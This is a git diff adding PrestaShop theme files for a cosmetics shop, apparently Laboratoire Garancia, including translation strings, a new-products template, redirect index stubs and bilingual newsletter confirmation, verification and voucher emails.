2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + diff --git a/themes/default/modules/blockmyaccountfooter/translations/en.php b/themes/default/modules/blockmyaccountfooter/translations/en.php new file mode 100755 index 0000000..cb29f3e --- /dev/null +++ b/themes/default/modules/blockmyaccountfooter/translations/en.php @@ -0,0 +1,9 @@ +blockmyaccountfooter_057d295c52fbfa6009018983adfcfef3'] = 'My orders'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_84717c9dceaf4edb4d68fb83baad9c5b'] = 'My returns'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_adb86424a996157ea978c08a665aa552'] = 'My credit slips'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_ce1f9a653c6297bee14973a2af3c4493'] = 'My addresses'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_1f94d078255c7cee3fcfd50c762101e6'] = 'My vouchers'; diff --git a/themes/default/modules/blockmyaccountfooter/translations/fr.php b/themes/default/modules/blockmyaccountfooter/translations/fr.php new file mode 100755 index 0000000..86fa1fa --- /dev/null +++ b/themes/default/modules/blockmyaccountfooter/translations/fr.php @@ -0,0 +1,22 @@ +blockmyaccountfooter_b97d23f7cde011d190f39468e146425e'] = 'Bloc Mon compte dans le pied de page'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_abdb95361b4c92488add0a5a37afabcb'] = 'Affiche un bloc avec des liens relatifs au compte du client.'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_ae9ec80afffec5a455fbf2361a06168a'] = 'Gérer mon compte client'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_d95cf4ab2cbf1dfb63f066b50558b07d'] = 'Mon compte'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_74ecd9234b2a42ca13e775193f391833'] = 'Mes commandes'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_5973e925605a501b18e48280f04f0347'] = 'Voir mes retours produits'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_89080f0eedbd5491a93157930f1e45fc'] = 'Mes retours de marchandise'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_9132bc7bac91dd4e1c453d4e96edf219'] = 'Mes avoirs'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_e45be0a0d4a0b62b15694c1a631e6e62'] = 'Mes adresses'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_b4b80a59559e84e8497f746aac634674'] = 'Gérer mes informations personnelles'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_63b1ba91576576e6cf2da6fab7617e58'] = 'Mes informations personnelles'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_95d2137c196c7f84df5753ed78f18332'] = 'Mes bons de réduction'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_c87aacf5673fada1108c9f809d354311'] = 'Se déconnecter'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_057d295c52fbfa6009018983adfcfef3'] = 'Voir mes commandes'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_84717c9dceaf4edb4d68fb83baad9c5b'] = 'Voir mes retours produits'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_adb86424a996157ea978c08a665aa552'] = 'Voir mes avoirs'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_ce1f9a653c6297bee14973a2af3c4493'] = 'Voir mes adresses'; +$_MODULE['<{blockmyaccountfooter}default>blockmyaccountfooter_1f94d078255c7cee3fcfd50c762101e6'] = 'Voir mes réductions'; diff --git a/themes/default/modules/blocknewproducts/blocknewproducts.tpl b/themes/default/modules/blocknewproducts/blocknewproducts.tpl new file mode 100755 index 0000000..697191a --- /dev/null +++ b/themes/default/modules/blocknewproducts/blocknewproducts.tpl @@ -0,0 +1,50 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +

        {l s='New products' mod='blocknewproducts'}

        +
        + {if $new_products !== false} +
          + {foreach from=$new_products item='product' name='newProducts'} + {if $smarty.foreach.newProducts.index < 2} + {$product.legend|escape:html:'UTF-8'} + {/if} + {/foreach} +
        +
        + {foreach from=$new_products item=newproduct name=myLoop} +
        {$newproduct.name|strip_tags|escape:html:'UTF-8'}
        + {if $newproduct.description_short}
        {$newproduct.description_short|strip_tags:'UTF-8'|truncate:75:'...'}
        {l s='Read more' mod='blocknewproducts'}
        {/if} + {/foreach} +
        +

        » {l s='All new products' mod='blocknewproducts'}

        + {else} +

        » {l s='No new products at this time' mod='blocknewproducts'}

        + {/if} +
        +
        + \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/blocknewsletter.tpl b/themes/default/modules/blocknewsletter/blocknewsletter.tpl new file mode 100755 index 0000000..44fb551 --- /dev/null +++ b/themes/default/modules/blocknewsletter/blocknewsletter.tpl @@ -0,0 +1,105 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + diff --git a/themes/default/modules/blocknewsletter/mails/en/index.php b/themes/default/modules/blocknewsletter/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/en/newsletter_conf.html b/themes/default/modules/blocknewsletter/mails/en/newsletter_conf.html new file mode 100755 index 0000000..817f7c3 --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/en/newsletter_conf.html @@ -0,0 +1,56 @@ + + + + + Message From {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
           
          {shop_name}  
           
        {shop_name} + + + + + + + + + + + + + + + + + + +
        Hi,
        Thank you for subscribing to our Newsletter !
         
        Magically yours,

        Garancia Team
        {shop_name}
        Copyright © 2015 Laboratoire Garancia, Tous Droits Réservés
        Laboratoire Garancia 18 Avenue du Recteur Poincaré Paris 75016 France
        +
        {shop_name}
         
        + + \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/en/newsletter_conf.txt b/themes/default/modules/blocknewsletter/mails/en/newsletter_conf.txt new file mode 100755 index 0000000..a39bb9c --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/en/newsletter_conf.txt @@ -0,0 +1,7 @@ +Hi + +Thank you for subscribing to our newsletter. + + + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/en/newsletter_verif.html b/themes/default/modules/blocknewsletter/mails/en/newsletter_verif.html new file mode 100755 index 0000000..a60d0c4 --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/en/newsletter_verif.html @@ -0,0 +1,12 @@ + + + + + Message de {shop_name} + + +
        {shop_name}

        Hi,

        Thank you for subscribing to our newsletter, please confirm your request by clicking the link below:
        {verif_url} +
        {shop_name} Powered by PrestaShop
        +
        + + \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/en/newsletter_verif.txt b/themes/default/modules/blocknewsletter/mails/en/newsletter_verif.txt new file mode 100755 index 0000000..ba09f57 --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/en/newsletter_verif.txt @@ -0,0 +1,6 @@ +Hi, + +Thank you for subscribing to our newsletter, please confirm your request by clicking the link below: +{verif_url} + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/en/newsletter_voucher.html b/themes/default/modules/blocknewsletter/mails/en/newsletter_voucher.html new file mode 100755 index 0000000..4f51e3a --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/en/newsletter_voucher.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Newsletter subscription
         
        Regarding your newsletter subscription, we are pleased to offer you the following voucher: {discount}
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/en/newsletter_voucher.txt b/themes/default/modules/blocknewsletter/mails/en/newsletter_voucher.txt new file mode 100755 index 0000000..0119880 --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/en/newsletter_voucher.txt @@ -0,0 +1,9 @@ +Hi + +Regarding your newsletter subscription, we are pleased to offer you the following voucher: {discount} + +{shop_name} - {shop_url} + + + +{shop_url} Powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/fr/newsletter_conf.html b/themes/default/modules/blocknewsletter/mails/fr/newsletter_conf.html new file mode 100755 index 0000000..02c443e --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/fr/newsletter_conf.html @@ -0,0 +1,59 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
           
          {shop_name}  
           
        {shop_name} + + + + + + + + + + + + + + + + + + + + + +
        Bonjour,
        Nous vous remercions de votre inscription à notre Newsletter.
        Vous serez informé de toutes nos nouveautés en exclusivité, de nos bons-plans et de nos conseils beauté.
         
        Pour vous remercier de votre inscription, nous avons le plaisir de vous offrir la livraison et une miniature pour votre première commande avec le code WELCOME !*

        Magiquement vôtre,

        L'équipe Garancia
        *Code valable pour votre première commande, pour une livraison standard, en France métropolitaine. Offre non cumulable.
        {shop_name}
        Copyright © 2015 Laboratoire Garancia, Tous Droits Réservés
        Laboratoire Garancia 18 Avenue du Recteur Poincaré Paris 75016 France
        +
        {shop_name}
         
        + + \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/fr/newsletter_conf.txt b/themes/default/modules/blocknewsletter/mails/fr/newsletter_conf.txt new file mode 100755 index 0000000..c5f9b4e --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/fr/newsletter_conf.txt @@ -0,0 +1,11 @@ +Bonjour, + +Nous vous remercions de votre inscription à notre Newsletter. Vous y découvrirez nos nouveautés en exclusivité, et les bons plans qui vous sont réservés ! + +Pour vous remercier de votre inscription, nous avons le plaisir de vous offrir la livraison et une miniature, pour votre première commande, avec le code WELCOME !* + +Magiquement vôtre, + +L'équipe Garancia + +{shop_url} \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/fr/newsletter_verif.html b/themes/default/modules/blocknewsletter/mails/fr/newsletter_verif.html new file mode 100755 index 0000000..85c1dbc --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/fr/newsletter_verif.html @@ -0,0 +1,12 @@ + + + + + Message de {shop_name} + + +
        {shop_name}

        Bonjour,

        Vous avez fait une demande d'inscription à notre newsletter, pour confirmer cette demande veuillez cliquer sur le lien ci-dessous:
        {verif_url} +
        {shop_name} réalisé par PrestaShop
        +
        + + \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/fr/newsletter_verif.txt b/themes/default/modules/blocknewsletter/mails/fr/newsletter_verif.txt new file mode 100755 index 0000000..9915292 --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/fr/newsletter_verif.txt @@ -0,0 +1,6 @@ +Bonjour, + +Vous avez fait une demande d'inscription à notre newsletter, pour confirmer cette demande veuillez cliquer sur le lien ci-dessous : +{verif_url} + +{shop_url} réalisé avec PrestaShop™ \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/fr/newsletter_voucher.html b/themes/default/modules/blocknewsletter/mails/fr/newsletter_voucher.html new file mode 100755 index 0000000..638dd07 --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/fr/newsletter_voucher.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour,
         
        Inscription à la newsletter
         
        Suite à votre inscription à notre newsletter, nous avons le plaisir de vous offrir le bon de réduction suivant : {discount}
         
        {shop_name} réalisé avec PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/fr/newsletter_voucher.txt b/themes/default/modules/blocknewsletter/mails/fr/newsletter_voucher.txt new file mode 100755 index 0000000..9a50477 --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/fr/newsletter_voucher.txt @@ -0,0 +1,9 @@ +Bonjour + +Suite à votre inscription à notre newsletter, nous avons le plaisir de vous offrir le bon de réduction suivant : {discount} + +{shop_name} - {shop_url} + + + +{shop_url} réalisé avec PrestaShop™ \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/mails/index.php b/themes/default/modules/blocknewsletter/mails/index.php new file mode 100755 index 0000000..6f5ff3b --- /dev/null +++ b/themes/default/modules/blocknewsletter/mails/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/blocknewsletter/translations/en.php b/themes/default/modules/blocknewsletter/translations/en.php new file mode 100755 index 0000000..541e4b4 --- /dev/null +++ b/themes/default/modules/blocknewsletter/translations/en.php @@ -0,0 +1,20 @@ +blocknewsletter_59e4904d4366fab35a8282f418e699de'] = 'Invalid email address'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_1c623b291d95f4f1b1d0c03d0dc0ffa1'] = 'This email address is not registered.'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_3b1f17a6fd92e35bc744e986b8e7a61c'] = 'An error occurred while attempting to unsubscribe.'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_4d3421b20f630705c921af9213867634'] = 'You are no longer a subscriber to our Newsletter.'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_f6618fce0acbfca15e1f2b0991ddbcd0'] = 'This email address is already registered.'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_77c576a354d5d6f5e2c1ba50167addf8'] = 'You have successfully subscribed to our newsletter.'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_99c8b8e5e51bf8f00f1d66820684be9a'] = 'This email is already registered and/or invalid.'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_198584454b0ce1101ff5b50323325aa8'] = 'Your email address'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_b26917587d98330d93f87808fc9d7267'] = 'Subscribe'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_a12a22304203af6dbfbdd825373d4816'] = 'To receive information for Laboratoire Garancia,'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_c5a429e67a1ec707c103b37c88e6e204'] = 'subscribe to our newsletter.'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_d59ed62281b8f663e40f815d1cb4db77'] = 'Fill in your email'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_2885912f0eeacf9db5feaad8779c8ffc'] = 'Subscribe'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_31608c30a446b67b459947b8e5f2cc55'] = 'Unsubscribe from our newsletter'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_bba9f1bf751834fe93d82cf0870ffa23'] = 'Back'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_7d206237f9912ea010005db2c20b60ce'] = 'Close'; diff --git a/themes/default/modules/blocknewsletter/translations/fr.php b/themes/default/modules/blocknewsletter/translations/fr.php new file mode 100755 index 0000000..85831a4 --- /dev/null +++ b/themes/default/modules/blocknewsletter/translations/fr.php @@ -0,0 +1,32 @@ +blocknewsletter_9e31b08a00c1ed653bcaa517dee84714'] = 'Bloc newsletter'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_ba457fab18d697d978befb95e827eb91'] = 'Ajoute un bloc permettant à vos visiteurs de s\'inscrire à votre newsletter'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_396c88991101b5ca362932952293d291'] = 'Êtes-vous sûr de vouloir supprimer tous vos contacts ?'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_524ec52bffb5d76b943ff1ae20c27f0a'] = 'Code de réduction non valable'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_ff0a3b7f3daef040faf89a88fdac01b7'] = 'Mis à jour'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_6d56757498a13d0c1e54261795469e99'] = 'Afficher la configuration dans une nouvelle page ?'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_54d2f1bab16b550e32395a7e6edb8de5'] = 'Envoyer un e-mail de vérification après inscription ?'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_b37f32d509cf5aabe806b16791588aa3'] = 'Envoyer un e-mail de confirmation après inscription ?'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_506e58042922bff5bd753dc612e84f5b'] = 'Code de réduction offert'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_1d612b943b8f4792bff603384a46e5f1'] = 'Laissez vide pour désactiver'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_06933067aafd48425d67bcb01bba5cb6'] = 'Mettre à jour'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_59e4904d4366fab35a8282f418e699de'] = 'Adresse e-mail non valable'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_1c623b291d95f4f1b1d0c03d0dc0ffa1'] = 'Adresse e-mail introuvable'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_3b1f17a6fd92e35bc744e986b8e7a61c'] = 'Erreur lors de la désinscription'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_f7dc297e2a139ab4f5a771825b46df43'] = 'Votre désinscription a bien été prise en compte'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_f6618fce0acbfca15e1f2b0991ddbcd0'] = 'Adresse e-mail déjà inscrite'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_e172cb581e84f43a3bd8ee4e3b512197'] = 'Une erreur est survenue lors de votre inscription'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_ebc069b1b9a2c48edfa39e344103be1e'] = 'Un e-mail de vérification a été envoyé. Veuillez l\'ouvrir.'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_77c576a354d5d6f5e2c1ba50167addf8'] = 'Votre inscription a bien été prise en compte'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_99c8b8e5e51bf8f00f1d66820684be9a'] = 'E-mail déjà enregistré ou non valable'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_4e1c51e233f1ed368c58db9ef09010ba'] = 'Merci de vous être inscrit à notre newsletter.'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_ffb7e666a70151215b4c55c6268d7d72'] = 'Newsletter'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_198584454b0ce1101ff5b50323325aa8'] = 'votre e-mail'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_b26917587d98330d93f87808fc9d7267'] = 'Inscription'; +$_MODULE['<{blocknewsletter}default>blocknewsletter_4182c8f19d40c7ca236a5f4f83faeb6b'] = 'Désinscription'; diff --git a/themes/default/modules/blockpopupnewsletter/mails/en/index.php b/themes/default/modules/blockpopupnewsletter/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_conf.html b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_conf.html new file mode 100755 index 0000000..f57d05e --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_conf.html @@ -0,0 +1,56 @@ + + + + + Message From {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
           
          {shop_name}  
           
        {shop_name} + + + + + + + + + + + + + + + + + + +
        Hi,
        Thank you for subscribing to our Newsletter !
        You will be first to be informed of our new products, our special offers and our beauty advice.
         
        To thank you for your subscription, we are happy to offer you free delivery and one miniature product on your first order, with the code WELCOME !

        Magically yours,

        Garancia Team
        {shop_name}
        Copyright © 2015 Laboratoire Garancia, Tous Droits Réservés
        Laboratoire Garancia 18 Avenue du Recteur Poincaré Paris 75016 France
        +
        {shop_name}
         
        + + \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_conf.txt b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_conf.txt new file mode 100755 index 0000000..e49ee6f --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_conf.txt @@ -0,0 +1,10 @@ +Dear Customer, + +Thank you for subscribing to our Newsletter ! +You will be first to be informed of our new products, our special offers and our beauty advice. + +To thank you for your subscription, we are happy to offer you free delivery and one miniature product on your first order, with the code WELCOME ! + +Magically Yours ! + +Garancia Team \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_verif.html b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_verif.html new file mode 100755 index 0000000..a60d0c4 --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_verif.html @@ -0,0 +1,12 @@ + + + + + Message de {shop_name} + + +
        {shop_name}

        Hi,

        Thank you for subscribing to our newsletter, please confirm your request by clicking the link below:
        {verif_url} +
        {shop_name} Powered by PrestaShop
        +
        + + \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_verif.txt b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_verif.txt new file mode 100755 index 0000000..ba09f57 --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_verif.txt @@ -0,0 +1,6 @@ +Hi, + +Thank you for subscribing to our newsletter, please confirm your request by clicking the link below: +{verif_url} + +{shop_url} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_voucher.html b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_voucher.html new file mode 100755 index 0000000..4f51e3a --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_voucher.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Hi,
         
        Newsletter subscription
         
        Regarding your newsletter subscription, we are pleased to offer you the following voucher: {discount}
         
        {shop_name} powered by PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_voucher.txt b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_voucher.txt new file mode 100755 index 0000000..0119880 --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/en/newsletter_voucher.txt @@ -0,0 +1,9 @@ +Hi + +Regarding your newsletter subscription, we are pleased to offer you the following voucher: {discount} + +{shop_name} - {shop_url} + + + +{shop_url} Powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_conf.html b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_conf.html new file mode 100755 index 0000000..02c443e --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_conf.html @@ -0,0 +1,59 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
           
          {shop_name}  
           
        {shop_name} + + + + + + + + + + + + + + + + + + + + + +
        Bonjour,
        Nous vous remercions de votre inscription à notre Newsletter.
        Vous serez informé de toutes nos nouveautés en exclusivité, de nos bons-plans et de nos conseils beauté.
         
        Pour vous remercier de votre inscription, nous avons le plaisir de vous offrir la livraison et une miniature pour votre première commande avec le code WELCOME !*

        Magiquement vôtre,

        L'équipe Garancia
        *Code valable pour votre première commande, pour une livraison standard, en France métropolitaine. Offre non cumulable.
        {shop_name}
        Copyright © 2015 Laboratoire Garancia, Tous Droits Réservés
        Laboratoire Garancia 18 Avenue du Recteur Poincaré Paris 75016 France
        +
        {shop_name}
         
        + + \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_conf.txt b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_conf.txt new file mode 100755 index 0000000..e43f607 --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_conf.txt @@ -0,0 +1,10 @@ +Bonjour, + +Nous vous remercions de votre inscription à notre Newsletter. +Vous serez informé de toutes nos nouveautés en exclusivité, de nos bons-plans et de nos conseils beauté. + +Pour vous remercier de votre inscription, nous avons le plaisir de vous offrir la livraison et une miniature pour votre première commande avec le code WELCOME + +Magiquement vôtre, + +L'équipe Garancia diff --git a/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_verif.html b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_verif.html new file mode 100755 index 0000000..85c1dbc --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_verif.html @@ -0,0 +1,12 @@ + + + + + Message de {shop_name} + + +
        {shop_name}

        Bonjour,

        Vous avez fait une demande d'inscription à notre newsletter, pour confirmer cette demande veuillez cliquer sur le lien ci-dessous:
        {verif_url} +
        {shop_name} réalisé par PrestaShop
        +
        + + \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_verif.txt b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_verif.txt new file mode 100755 index 0000000..9915292 --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_verif.txt @@ -0,0 +1,6 @@ +Bonjour, + +Vous avez fait une demande d'inscription à notre newsletter, pour confirmer cette demande veuillez cliquer sur le lien ci-dessous : +{verif_url} + +{shop_url} réalisé avec PrestaShop™ \ No newline at end of file diff --git a/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_voucher.html b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_voucher.html new file mode 100755 index 0000000..1be2209 --- /dev/null +++ b/themes/default/modules/blockpopupnewsletter/mails/fr/newsletter_voucher.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
         
        Bonjour,
         
        Inscription à la newsletter
         
        Suite à votre inscription à notre newsletter, nous avons le plaisir de vous offrir le bon de réduction suivant : {discount}
         
        {shop_name}
